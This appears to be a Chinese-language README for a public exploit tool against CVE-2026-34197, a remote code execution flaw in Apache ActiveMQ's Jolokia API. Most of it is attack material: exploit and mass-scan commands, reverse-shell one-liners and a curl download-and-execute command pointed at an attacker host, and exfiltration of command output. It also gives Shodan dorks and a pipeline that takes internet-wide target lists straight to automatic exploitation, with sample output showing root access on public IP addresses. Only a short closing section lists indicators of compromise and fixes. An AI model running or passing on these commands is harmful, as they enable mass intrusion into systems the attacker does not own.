Apache ActiveMQ 通过 Jolokia API 实现 RCE 的漏洞利用工具(CVE-2026-34197),支持命令输出捕获、批量扫描和自动利用。
CVE-2026-34197 是 Apache ActiveMQ Classic 中的一个严重远程代码执行(RCE)漏洞,允许经过身份验证的攻击者通过 Web 控制台暴露的 Jolokia API 执行任意操作系统命令。
该漏洞已存在 超过 13 年,位于 Jolokia(HTTP-JMX 桥接)、ActiveMQ MBeans、网络连接器和 VM 传输之间的交互中。
[!CAUTION] 这是由 KONDOR DEV SECURITY 开发的 首个公开 PoC。仅限在授权的安全评估中使用。
id、whoami、cat /etc/passwd)会自动在终端中显示其输出version_check.py)— 多线程版本检测 + 定向利用| CVE ID | CVE-2026-34197 |
| 严重性 | |
| 类型 | 远程代码执行(RCE) |
| CWE | CWE-20(输入验证不当)/ CWE-94(代码注入) |
| 受影响版本 | ActiveMQ Classic < 5.19.4 和 6.0.0 — 6.2.2 |
| 已修复版本 | 5.19.4 / 6.2.3 |
| 需要认证 | 是(默认凭据 admin:admin 很常见) |
| 无需认证 | 6.0.0 — 6.1.1(由于 CVE-2024-32114) |
| 默认端口 | 8161(Web 控制台) |
CVE-2026-34197 — Exploitation Chain
──────────────────────────────────────────────────────────────
ATTACKER ACTIVEMQ SERVER ──────── ─────────────── │ │ [1] │── POST /api/jolokia/ ──────────────────>│ │ addNetworkConnector( │ │ vm://rce?brokerConfig= │ │ xbean:http://ATTACKER/payload.xml) │ │ │ │ [2] │── Creates VM broker │ │── Fetches remote XML │ │ [3] │<── GET /payload.xml ─────────────────────│ │── Serves malicious Spring XML ─────────>│ │ │ │ [4] │── Spring instantiates beans │ │── Runtime.exec(COMMAND) │ │── ** RCE ACHIEVED ** │ │ [5] │<── POST /output (command stdout) ────────│ (auto, for simple commands) │── Displays command output │ │ │
### 分步解析
| 步骤 | 操作 | 组件 |
|:----:|--------|-----------|
| **1** | 攻击者向 `/api/jolokia/` 发送 POST 请求,在 Broker MBean 上调用 `addNetworkConnector` | Jolokia API |
| **2** | ActiveMQ 处理 `vm://` 传输 URI,并创建一个临时 broker,其 `brokerConfig` 指向远程 URL | VM 传输 |
| **3** | `xbean:` 方案触发从攻击者服务器下载 Spring XML 配置文件 | Spring / XBean |
| **4** | Spring 实例化 XML 中的所有 bean,包括一个调用 `Runtime.getRuntime().exec()` 的 bean | Spring 上下文 |
| **5** | 对于简单命令,输出会被捕获并通过 HTTP POST 发送回攻击者的监听器(自动) | 输出捕获 |
---
## 项目结构```
CVE-2026-34197/
├── exploit.py # PoC exploit (single target + mass scan)
├── version_check.py # Scanner + Auto-Exploit (2-phase pipeline)
├── payloads/
│ └── template.xml # Spring XML payload template
├── targets.txt # Target URLs (one per line)
├── docker/
│ └── docker-compose.yml # Vulnerable lab environment
├── docs/
│ ├── HUNTING_GUIDE_EN.md # Target hunting guide (English)
│ └── HUNTING_GUIDE_ES.md # Guía de búsqueda (Español)
├── LICENSE
└── README.md
pip install requests
### 实验室环境(Docker)```bash
cd docker
docker-compose up -d
# ActiveMQ Classic 5.18.6 (vulnerable) → localhost:8161
python exploit.py -t http://TARGET:8161 -l YOUR_IP -c "id"
python exploit.py -T targets.txt -l YOUR_IP -c "id"
### 扫描器 + 自动利用(推荐用于批量目标)```bash
# Scan only — detect versions, no exploitation
python version_check.py -T targets.txt
# Scan + auto-exploit vulnerable targets
python version_check.py -T targets.txt -l YOUR_IP -c "id"
ATTACKER_IP(-l / --lhost)-l(或 --lhost)参数对于漏洞利用的成功至关重要。它指定了你的机器将用于提供恶意 Spring XML 载荷的 IP 地址。目标 ActiveMQ 服务器必须能够通过网络访问该 IP 才能下载载荷。
ATTACKER_IP?当漏洞被触发时,它会告诉 ActiveMQ:"从 http://ATTACKER_IP:8888/payload.xml 下载你的配置"。然后 ActiveMQ 会向你的机器发起一个出站 HTTP 请求。如果它无法访问到你,漏洞利用将静默失败。```
YOUR MACHINE TARGET (ActiveMQ)
──────────── ─────────────────
ATTACKER_IP:8888 ◄──── HTTP GET ──── "fetch xbean:http://ATTACKER_IP:8888/payload.xml"
(serves payload.xml) (downloads & executes)
### 如何确定你的 `ATTACKER_IP`
| 场景 | 查找方法 | 示例 |
|----------|---------------|---------|
| **同一局域网**(实验室、内网渗透测试) | 你的本地/私有 IP | `ip a` → `192.168.1.50` |
| **VPN**(HTB、THM、内网) | 你的 VPN 隧道 IP | `ip a show tun0` → `10.10.14.23` |
| **通过互联网攻击远程目标** | 你的公网 IP | `curl ifconfig.me` → `203.0.113.42` |
| **云 VPS**(从服务器发起攻击) | VPS 的公网 IP | 查看你的云服务商控制台 |```bash
# Linux — find your IPs
ip -4 addr show # All interfaces
ip addr show tun0 # VPN interface (HTB/THM)
ip addr show eth0 # Ethernet / cloud
curl -s ifconfig.me # Public IP
# Windows
ipconfig # All interfaces
(Invoke-WebRequest ifconfig.me).Content # Public IP (PowerShell)
# macOS
ifconfig en0 # Wi-Fi
ifconfig utun0 # VPN
curl -s ifconfig.me # Public IP
| 错误 | 失败原因 | 修复方法 |
|---|---|---|
使用 127.0.0.1 或 localhost | 目标会尝试从自身下载,而不是从你这里 | 使用你的真实网络 IP |
对互联网目标使用私有 IP(192.168.x.x) | 目标无法路由到你的私有网络 | 使用你的公网 IP 或 VPS |
使用公网 IP 但端口 8888 被阻止 | 防火墙/NAT 会丢弃来自目标的入站连接 | 在防火墙/路由器中开放端口 8888,或使用 -lp 指定一个已开放的端口 |
使用了错误的接口 IP(例如,用 eth0 而不是 tun0) | 目标无法到达该网段 | 匹配与目标之间存在路由的接口 |
在运行漏洞利用之前,确认目标能够访问你的监听器:```bash
python3 -c "import http.server; http.server.HTTPServer(('0.0.0.0', 8888), http.server.SimpleHTTPRequestHandler).serve_forever()"
curl http://ATTACKER_IP:8888/
### 端口转发(NAT 场景)
如果你位于路由器/NAT 之后,并攻击一个面向互联网的目标:```bash
# Option A: Use a cloud VPS (recommended)
# Run the exploit from a VPS with a public IP — no NAT issues
# Option B: Port forward on your router
# Forward external port 8888 → your_local_ip:8888 (TCP)
# Then use your PUBLIC IP as ATTACKER_IP
# Option C: Use ngrok (quick & dirty)
ngrok http 8888
# Use the ngrok URL — but note: the exploit uses raw HTTP, not ngrok's URL format
# This option is NOT recommended for this exploit
sudo iptables -A INPUT -p tcp --dport 8888 -j ACCEPT
sudo ufw allow 8888/tcp
New-NetFirewallRule -DisplayName "CVE-2026-34197 Listener" -Direction Inbound -Protocol TCP -LocalPort 8888 -Action Allow
### 完整工作流示例```bash
# Step 1: Identify your IP
$ ip addr show tun0
inet 10.10.14.23/23 ...
# Step 2: Verify the target is vulnerable
$ python version_check.py -T targets.txt
[+] http://10.129.45.67:8161 → 5.15.9 (admin) [VULNERABLE]
# Step 3: Run the exploit with YOUR correct IP
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 -c "id"
# Step 4: For a reverse shell — start listener FIRST
$ nc -lvnp 4444 # Terminal 1
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 \
-c "bash -i >& /dev/tcp/10.10.14.23/4444 0>&1" # Terminal 2
[!IMPORTANT]
-l中的ATTACKER_IP与反向 shell 命令(/dev/tcp/ATTACKER_IP/4444)中的ATTACKER_IP必须是同一个可访问的 IP。如果在反向 shell 命令中使用了不同的 IP,shell 将连接到错误的位置。
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id"
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "whoami" -u admin -p secret
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -lp 9999 -c "cat /etc/passwd"
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id" --no-auth
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id" --broker-name mybroker
### 批量扫描(多个目标)```bash
# Scan targets from file, save vulnerable ones
python exploit.py -T targets.txt -l ATTACKER_IP -c "id"
# Custom output file
python exploit.py -T targets.txt -l ATTACKER_IP -c "id" -o vulnerable_hosts.txt
# Mass scan with custom credentials and port
python exploit.py -T targets.txt -l ATTACKER_IP -lp 9999 -c "id" -u myuser -p mypass
targets.txt 文件应每行包含一个 URL:```
http://10.0.0.1:8161
http://10.0.0.2:8161
https://10.0.0.3:8161
批量扫描功能:
- **自动去重** — 重复的 URL 会被自动移除
- **单一 HTTP 服务器** — payload 服务器只启动一次,并为所有目标复用
- **认证回退** — 如果凭据验证失败(401),会自动在无认证的情况下重试(CVE-2024-32114)
- **随机化连接器名称** — 避免目标之间的 JMX 注册冲突
- **增量保存** — 存在漏洞的目标会立即保存(可安全使用 Ctrl+C)
- **HTTPS 支持** — 同时支持 HTTP 和 HTTPS 目标
### 反向 Shell
包含特殊字符(`>`、`&`、`|`、`;`、`$` 等)的反向 Shell 和命令会**自动进行 base64 编码**,以避免 XML/Shell 转义问题。```bash
# Bash reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# Netcat reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"
# Python reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
# Curl + bash (download & execute)
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "curl http://ATTACKER_IP/shell.sh | bash"
# Mass reverse shell scan
python exploit.py -T targets.txt -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
注意: 在运行漏洞利用之前先启动你的监听器:
nc -lvnp 4444
exploit.py 和 version_check.py 都可以自动捕获并显示命令输出,适用于 id、whoami、cat /etc/passwd、hostname 等简单命令。
当你运行一个简单命令时,漏洞利用程序会自动将其包装,通过 HTTP POST 将 stdout/stderr 发送回你的监听器:``` YOUR MACHINE (ATTACKER_IP:8888) TARGET (ActiveMQ) ─────────────────────────────── ─────────────────
(payload served) Executes wrapped command:
OUTPUT=$(id 2>&1)
curl -s -X POST http://ATTACKER:8888/output -d "$OUTPUT"
Displays: "uid=0(root) gid=0(root)..."
#### 带输出的示例```bash
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 -c "id"
[*] Target: http://10.129.45.67:8161
[*] Command: id
[*] Output: capture enabled (will POST back to listener)
[*] Broker: localhost
[*] Auth: admin
[*] Sending request to Jolokia...
[+] Jolokia accepted the operation (status=200)
[*] Waiting for the target to download the payload...
[+] Payload served to 10.129.45.67
[+] Target downloaded the payload. Command executed.
[*] Waiting for command output...
[+] Command output received:
──────────────────────────────────────────────────
uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────────
| 命令类型 | 示例 | 行为 |
|---|---|---|
| 简单命令 | id、whoami、cat /etc/passwd、ls -la、uname -a | 输出被捕获并自动显示 |
| 反弹 Shell | bash -i >& /dev/tcp/...、nc ... -e /bin/sh、mkfifo... | 被检测为交互式 — 不进行包装,按原样工作 |
| 使用 curl/wget 的命令 | curl http://...、wget http://... | 被检测为交互式 — 不进行包装,以避免干扰 |
检测是自动的。你无需传递任何额外标志。
输出捕获要求目标系统上存在 curl 或 wget。如果两者都不可用:
[!TIP] 大多数 Linux 系统(以及 ActiveMQ Docker 镜像)都预装了
curl。如果输出捕获超时但 RCE 已确认,则目标很可能缺少curl和wget。
| 标志 | 描述 | 默认值 |
|---|---|---|
-t, --target | 单个目标 URL | — |
-T, --targets-file | 包含目标 URL 的文件(每行一个) | — |
-l, --lhost | 用于提供 payload 的攻击者 IP | 必填 |
-lp, --lport | 本地 HTTP 服务器端口 | 8888 |
-c, --command | 要执行的 OS 命令 | 必填 |
-u, --user | Jolokia 用户名 | admin |
-p, --password | Jolokia 密码 | admin |
--no-auth | 跳过身份验证 | false |
--broker-name | Broker 名称覆盖 | 自动检测 |
-o, --output | 易受攻击目标的输出文件 | vulnerables.txt |
--timeout-wait | 等待 payload 下载的秒数 | 15 |
注意:
-t和-T互斥。请使用其中一个。
version_check.py)多目标场景的推荐工具。一个两阶段流水线,首先检测所有目标的 ActiveMQ 版本(快速、多线程),然后通过 payload 回调进行真实 RCE 验证,自动利用仅易受攻击的目标。
version_check.py 与 exploit.py| 场景 | 工具 | 原因 |
|---|---|---|
| 你有一个目标列表,想找出哪些易受攻击 | version_check.py | 先扫描版本(快速),然后仅利用易受攻击的目标 |
| 你想仅扫描而不利用(仅侦察) | version_check.py | 省略 -l/-c 以进入仅扫描模式 |
| 你有一个已确认的单个目标 | exploit.py | 更简单、直接利用 |
| 你想立即利用某个特定主机 | exploit.py | 无扫描开销 |
| 你有来自 Shodan/LeakIX 的 100+ 个目标 | version_check.py | 多线程阶段 1 可在数秒内处理大型列表 |
┌─────────────────────────────────────────────────────────┐ │ PHASE 1 — Version Detection (fast, multithreaded) │ │ │ │ targets.txt ──→ 10 threads query Jolokia in parallel │ │ GET .../BrokerVersion │ │ │ │ For each target: │ │ 1. Try auth (admin:admin) │ │ 2. If 401 → retry without auth (CVE-2024-32114) │ │ 3. If brokerName=localhost fails → try wildcard (*) │ │ 4. Extract: version, real broker name, working auth │ │ 5. Classify: [VULNERABLE] or [PATCHED] │ │ │ │ Output: list of vulnerable candidates with metadata │ └──────────────────────┬──────────────────────────────────┘ │ only vulnerable targets ▼ ┌─────────────────────────────────────────────────────────┐ │ PHASE 2 — RCE Verification (sequential, with callback) │ │ (only runs if -l and -c are provided) │ │ │ │ For each vulnerable target: │ │ 1. Generate Spring XML payload with command │ │ 2. Send addNetworkConnector via Jolokia │ │ 3. Wait for target to download payload (callback) │ │ 4. If callback received → RCE CONFIRMED │ │ │ │ Output: confirmados.txt with RCE-confirmed targets │ └─────────────────────────────────────────────────────────┘
### 版本分类逻辑
扫描器会根据受影响范围自动对版本进行分类:
| 版本 | 分类 |
|---------|---------------|
| `< 5.19.4`(例如 5.15.9、5.18.6) | `[VULNERABLE]` |
| `>= 5.19.4`(例如 5.19.4、5.20.0) | `[PATCHED]` |
| `6.0.0` 至 `6.2.2` | `[VULNERABLE]` |
| `>= 6.2.3` | `[PATCHED]` |
### 分步使用指南
#### 第 1 步 — 准备目标文件
创建一个 `targets.txt` 文件,每行一个 URL。重复项会自动移除。```
http://10.0.0.1:8161
http://10.0.0.2:8161
https://10.0.0.3:8161
http://192.168.1.100:8161
[!TIP] 使用 Hunting Guides 通过 Shodan、LeakIX、FOFA、Censys 或 Google Dorks 查找目标。
如果你只想识别哪些目标存在漏洞而不进行利用,请省略 -l 和 -c:```bash
python version_check.py -T targets.txt
此操作**仅运行阶段 1**。不会启动 HTTP 服务器,不会发送载荷,也不会执行命令。输出文件将包含每个易受攻击目标的版本信息:```
http://52.234.160.12:8161 | 5.15.9 | admin | broker=localhost
http://62.151.178.135:8161 | 5.15.2 | admin | broker=mybroker
你可以通过增加线程数来提高扫描速度:```bash python version_check.py -T targets.txt --threads 20
#### 步骤 3 — 扫描 + 自动利用(完整流程)
要在一次运行中完成扫描**并**利用,请添加 `-l`(你的 ATTACKER_IP)和 `-c`(命令):```bash
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"
此操作会同时运行两个阶段:
[VULNERABLE] 的目标(顺序执行,带回调验证)[!IMPORTANT]
ATTACKER_IP必须可从目标访问。目标 ActiveMQ 服务器将向http://ATTACKER_IP:8888/payload.xml发起出站 HTTP 请求。有关选择正确 IP 的详细信息,请参阅 ATTACKER_IP 指南。
已确认存在漏洞的目标会增量保存到输出文件中(默认:confirmados.txt):```
http://52.234.160.12:8161 | 5.15.9 | admin
`URL | 版本 | 认证方式`。然后你可以将这些单独与 `exploit.py` 结合使用,进行进一步的后渗透利用。
### 使用示例```bash
# Scan only — detect versions (no exploitation)
python version_check.py -T targets.txt
# Scan + auto-exploit — full pipeline
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"
# Faster scan with 20 threads
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --threads 20
# Custom output, credentials, and port
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" -o pwned.txt -u admin -p secret -lp 9999
# Reverse shell (auto base64-wrapped)
# IMPORTANT: start your netcat listener FIRST on port 4444 (in a separate terminal):
# nc -lvnp 4444
# The port in nc must match the port in /dev/tcp/.../4444
python version_check.py -T targets.txt -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# No-auth mode (for ActiveMQ 6.0.0 — 6.1.1)
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --no-auth
# Longer callback wait (slow networks)
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --wait 30
# Combine: fast threads + long wait + custom creds
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" \
--threads 30 --wait 20 -u operator -p s3cret -lp 9999 -o results.txt
ATTACKER_IP 在 version_check.py 中如何工作-l 参数的行为与 exploit.py 中完全一致,但有一个关键区别:HTTP 服务器只启动一次,并在阶段 2 中对所有目标重复使用。```
YOUR MACHINE (ATTACKER_IP) TARGETS
────────────────────────── ───────
HTTP server on :8888 Target 1 (v5.15.9) ──→ GET /payload.xml ──→ YOUR_IP:8888
(started once, reused) Target 2 (v5.18.6) ──→ GET /payload.xml ──→ YOUR_IP:8888
Target 3 (v6.2.3) ──→ [PATCHED, skipped]
**阶段 1 不需要 `ATTACKER_IP`** —— 它仅查询 Jolokia 获取版本信息。你可以单独运行阶段 1 进行侦察,而不会暴露你的 IP。
**阶段 2 需要 `ATTACKER_IP`** —— 目标必须能够访问你的 HTTP 服务器以下载载荷。如果目标无法访问你,它将超时(默认:15 秒)并被标记为“未收到回调”——但这并不一定意味着它不存在漏洞(防火墙可能阻止出站流量)。
### 参数
| 标志 | 描述 | 默认值 |
|------|-------------|---------|
| `-T, --targets-file` | 包含目标 URL 的文件(每行一个) | *必填* |
| `-l, --lhost` | 用于回调的攻击者 IP(启用阶段 2) | — |
| `-c, --command` | 要执行的命令(启用阶段 2) | — |
| `-lp, --lport` | 本地 HTTP 服务器端口 | `8888` |
| `-o, --output` | 已确认目标的输出文件 | `confirmados.txt` |
| `-u, --user` | Jolokia 用户名 | `admin` |
| `-p, --password` | Jolokia 密码 | `admin` |
| `--no-auth` | 跳过身份验证 | `false` |
| `--threads` | 阶段 1 的并发线程数 | `10` |
| `--timeout` | 阶段 1 中每个请求的超时时间 | `10s` |
| `--wait` | 阶段 2 中等待回调的秒数 | `15s` |
> **注意:** 必须同时提供 `-l` 和 `-c` 才能启用阶段 2。如果缺少任一参数,则仅运行阶段 1(扫描)。
### 功能特性
- **两阶段流水线** —— 先快速扫描版本,再进行针对性利用
- **多线程阶段 1** —— 数秒内扫描数百个目标
- **智能代理检测** —— 处理 `brokerName=*` 通配符响应,从 MBean 键中提取真实代理名称
- **身份验证回退** —— 如果 `admin:admin` 失败(401),则无身份验证重试(CVE-2024-32114)
- **随机化连接器名称** —— 避免 JMX 冲突(每个目标唯一的 `rce{random8}`)
- **自动 base64 包装** —— 反向 shell 和特殊字符开箱即用
- **增量保存** —— 已确认目标立即保存(扫描中途可安全按 Ctrl+C)
- **仅扫描模式** —— 省略 `-l`/`-c` 仅检测版本而不进行利用
- **版本分类** —— 根据受影响范围标记 `[VULNERABLE]` / `[PATCHED]`
- **单一 HTTP 服务器** —— 在阶段 2 中启动一次,供所有目标复用(无端口冲突)
### 使用 `version_check.py` 发送反向 shell
使用 `version_check.py` 发送反向 shell 时,你需要**同时运行两件事**:
1. 你机器上的一个 **netcat 监听器**,等待传入的 shell 连接
2. 用于扫描和利用目标的 **version_check.py** 命令
监听器端口(`nc -lvnp PORT`)**必须与**反向 shell 命令中的端口(`/dev/tcp/ATTACKER_IP/PORT`)**匹配**。```
YOUR MACHINE (ATTACKER_IP)
──────────────────────────
Terminal 1: nc -lvnp 4444 ◄── Listening for reverse shell on port 4444
Terminal 2: version_check.py ... ──► Scans targets, exploits vulnerable ones
└─ sends: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
▲
TARGET (ActiveMQ) │
───────────────── │
Executes the command ──► bash connects back to ATTACKER_IP:4444 ────────────────┘
nc -lvnp 4444
python version_check.py -T targets.txt -l ATTACKER_IP
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
#### 使用不同的端口
只要双方端口一致,你可以使用任何你想要的端口:```bash
# Terminal 1: listener on port 9001
nc -lvnp 9001
# Terminal 2: reverse shell pointing to port 9001
python version_check.py -T targets.txt -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1"
python version_check.py -T targets.txt -l ATTACKER_IP
-c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"
python version_check.py -T targets.txt -l ATTACKER_IP
-c "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
> [!WARNING]
> **避免端口混淆:** 该漏洞利用使用**两个不同的端口**,分别用于两种不同用途:
> - `-lp`(默认 `8888`)— HTTP 服务器端口,ActiveMQ 在此下载 XML 载荷。此端口由脚本自动处理。
> - `/dev/tcp/.../4444` 中的端口 — 反向 Shell 回调端口,由你使用 `nc` 监听。这是你需要自行开放的端口。
>
> 这两个端口是**相互独立**的。不要混淆它们。你需要运行 `nc -lvnp 4444` 来接收 Shell,而脚本会在内部处理 `:8888`。
### 示例输出```
╔═══════════════════════════════════════════════════════════╗
║ CVE-2026-34197 — ActiveMQ Scanner + Auto-Exploit ║
║ Phase 1: Version Detection (fast, multithreaded) ║
║ Phase 2: RCE Verification (exploit + callback) ║
║ By: KONDOR DEV SECURITY — t.me/KONDORDEVSECURITY ║
╚═══════════════════════════════════════════════════════════╝
[*] 124 unique targets loaded
[*] Threads: 10 | Timeout: 10s
[*] Mode: SCAN + EXPLOIT (wait: 15s)
[*] Command: id
════════════════════════════════════════════════════════════
PHASE 1 — Version detection (multithreaded)
════════════════════════════════════════════════════════════
[+] [1/124] http://52.234.160.12:8161 → 5.15.9 (admin) [VULNERABLE]
[+] [2/124] http://62.151.178.135:8161 → 5.15.2 (admin) [VULNERABLE]
[+] [3/124] http://146.190.139.20:8161 → 5.15.6 (admin) [VULNERABLE]
[-] [4/124] http://167.172.150.143:8161 → 401
[-] [5/124] http://198.44.176.205:8161 → Connection refused
[*] Phase 1 complete: 3 with version, 3 vulnerable by version
════════════════════════════════════════════════════════════
PHASE 2 — Real exploit (3 candidates)
════════════════════════════════════════════════════════════
[+] HTTP server on 0.0.0.0:8888
[1/3] http://52.234.160.12:8161 (v5.15.9, broker=localhost)
[*] Sending exploit...
[+] Jolokia accepted (status=200)
[+] Payload downloaded by 52.234.160.12
[+] Command output:
──────────────────────────────────────────────
uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────
[+] ✓ RCE CONFIRMED — http://52.234.160.12:8161 (v5.15.9)
[2/3] http://62.151.178.135:8161 (v5.15.2, broker=mybroker)
[*] Sending exploit...
[+] Jolokia accepted (status=200)
[*] No callback received within 15s
[3/3] http://146.190.139.20:8161 (v5.15.6, broker=localhost)
[*] Sending exploit...
[+] Jolokia accepted (status=200)
[+] Payload downloaded by 146.190.139.20
[+] Command output:
──────────────────────────────────────────────
uid=33(www-data) gid=33(www-data) groups=33(www-data)
──────────────────────────────────────────────
[+] ✓ RCE CONFIRMED — http://146.190.139.20:8161 (v5.15.6)
════════════════════════════════════════════════════════════
FINAL SUMMARY
════════════════════════════════════════════════════════════
[*] Total scanned: 124
[*] Version detected: 3
[*] Vulnerable by version: 3
[+] RCE CONFIRMED: 2
[+] Saved to: confirmed.txt
✓ http://52.234.160.12:8161 | v5.15.9 | admin
✓ http://146.190.139.20:8161 | v5.15.6 | admin
| 阶段 2 结果 | 含义 | 下一步 |
|---|---|---|
RCE CONFIRMED + Command output: | 目标执行了命令并返回了输出 | 完全成功——你可以直接看到输出 |
RCE CONFIRMED(无输出) | 目标下载了载荷,但未收到输出 | RCE 可用,但目标上可能缺少 curl/wget;改用反向 Shell |
No callback received within Ns | 目标未在时限内访问你的 HTTP 服务器 | 检查 ATTACKER_IP 的可达性、防火墙,或增加 --wait |
Jolokia accepted (status=200) | Jolokia 成功处理了请求 | 好迹象——等待回调 |
Jolokia status=500: ... | Jolokia 返回了错误 | 仍可能有效(即使返回 500,XML 下载仍可能发生);检查日志 |
HTTP 401 | 该目标的认证失败 | 目标需要不同的凭据 |
HTTP 403 | Jolokia 受到限制 | 目标有 ACL——此方法无法利用 |
Connection refused / Timeout | 目标不可达 | 网络问题或目标已宕机 |
shodan search "ActiveMQ port:8161" --fields ip_str,port > raw_targets.txt
awk '{print "http://"$1}' raw_targets.txt > targets.txt
python version_check.py -T targets.txt --threads 20
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"
nc -lvnp 4444 # Terminal 1
python exploit.py -t http://CONFIRMED_TARGET:8161 -l ATTACKER_IP
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" # Terminal 2
## 狩猎与侦察
查找暴露的 Apache ActiveMQ 实例的详细指南,使用 **Shodan**、**LeakIX**、**FOFA**、**Censys**、**ZoomEye** 和 **Google Dorks** —— 包括特定版本的 dorks、Jolokia 检测、CLI/API 用法、目标验证步骤、SIEM/IDS 规则以及修复优先级。
<table>
<tr>
<td align="center">
<a href="docs/HUNTING_GUIDE_EN.md"><img src="https://img.shields.io/badge/Hunting%20Guide-English%20%F0%9F%87%AC%F0%9F%87%A7-2196F3?style=for-the-badge" alt="English"/></a>
</td>
<td align="center">
<a href="docs/HUNTING_GUIDE_ES.md"><img src="https://img.shields.io/badge/Gu%C3%ADa%20de%20B%C3%BAsqueda-Espa%C3%B1ol%20%F0%9F%87%AA%F0%9F%87%B8-FF9800?style=for-the-badge" alt="Español"/></a>
</td>
</tr>
</table>
### 快速 Shodan Dorks```
"ActiveMQ" port:8161 # All exposed consoles
http.title:"Apache ActiveMQ" # By page title
"ActiveMQ" http.html:"jolokia" port:8161 # Jolokia exposed (attack vector)
http.title:"Apache ActiveMQ" -http.html:"5.19.4" -http.html:"6.2.3" port:8161 # Exclude patched
+software:"Apache ActiveMQ" +port:"8161" # All exposed +banner:"jolokia" +banner:"ActiveMQ" # Jolokia exposed +software:"Apache ActiveMQ" +tag:"default-password" # Default creds
### 目标验证```bash
# Check version via Jolokia (single target)
curl -s -u admin:admin "http://TARGET:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/BrokerVersion"
# Mass version scan (recommended)
python version_check.py -T targets.txt
[!TIP] 请参阅
docs/中的完整指南,了解特定版本的 dork、地理过滤器、API 示例、IDS 规则以及分步验证工作流。
INFO | Establishing network connection from vm://localhost to vm://rce*?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml WARN | Could not connect to remote URI: vm://rce*?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
> **注意:** `rce*` 部分将包含随机字符(例如 `rcek4m2x9ab`),因为该漏洞利用程序会随机化连接器名称。
### IOCs(入侵指标)
| 指标 | 描述 |
|-----------|-------------|
| 向 `/api/jolokia/` 发送带有 `addNetworkConnector` 的 POST 请求 | 漏洞利用尝试 |
| ActiveMQ 进程发起出站 HTTP GET 请求 | 下载 Payload XML |
| ActiveMQ 进程发起出站 HTTP POST 请求(命令输出外传) | 输出捕获回调 |
| 带有 `brokerConfig=xbean:http` 的 `vm://` URI | 恶意连接器 |
| Java/ActiveMQ 产生意外子进程(`curl`、`wget`、`bash`) | 命令执行 / 输出外传 |
---
## 修复措施
| 优先级 | 操作 |
|----------|--------|
| **P0** | 升级至 ActiveMQ Classic **5.19.4** 或 **6.2.3** |
| **P1** | 更改 Web 控制台的默认凭据 |
| **P2** | 限制对端口 **8161** 的网络访问 |
| **P3** | 监控代理日志中带有 `xbean:http` 模式的 `vm://` URI |
---
## 故障排查
| 问题 | 可能原因 | 解决方案 |
|---------|-------------|----------|
| `15 秒内未收到 Payload 请求` | 目标无法访问你的 ATTACKER_IP | 验证连通性(参见 [ATTACKER_IP 指南](#understanding-attacker_ip---lhost)) |
| `身份验证失败(401)` | 凭据错误 | 尝试 `--no-auth`(ActiveMQ 6.0.0-6.1.1)或查找正确的凭据 |
| `访问被禁止(403)` | Jolokia API 受限 | 目标可能对 `/api/jolokia/` 设置了 ACL——无法远程利用 |
| `连接错误` / `无法连接` | 目标已关闭或端口错误 | 验证 `http://TARGET:8161/` 是否可访问 |
| `Jolokia 状态=500:无法在 JMX 中注册` | 之前的漏洞利用连接器仍处于注册状态 | 该漏洞利用程序会自动使用新的随机名称重试;请再次尝试 |
| 反弹 Shell 无法回连 | `-l` 中的 IP 与 Shell 命令中的 IP 不同,或端口未监听 | 确保所有位置使用相同 IP;在利用前先启动 `nc -lvnp PORT` |
| `10 秒内未收到输出` | 目标缺少 `curl` 和 `wget`,或命令无标准输出 | RCE 仍然生效——使用反弹 Shell 进行完整交互 |
| 输出捕获显示空结果 | 命令未产生输出(例如 `touch /tmp/test`) | 对于无标准输出的命令属正常现象;使用 `ls /tmp/test` 进行验证 |
| 端口 8888 上出现 `OSError: Address already in use` | 其他进程或之前的运行占用了该端口 | 使用 `-lp 9999`(或任意空闲端口),或终止占用进程 |
| `version_check.py` 第 1 阶段运行缓慢 | 线程数过少或网络延迟较高 | 增加 `--threads 20` 或 `--threads 30` |
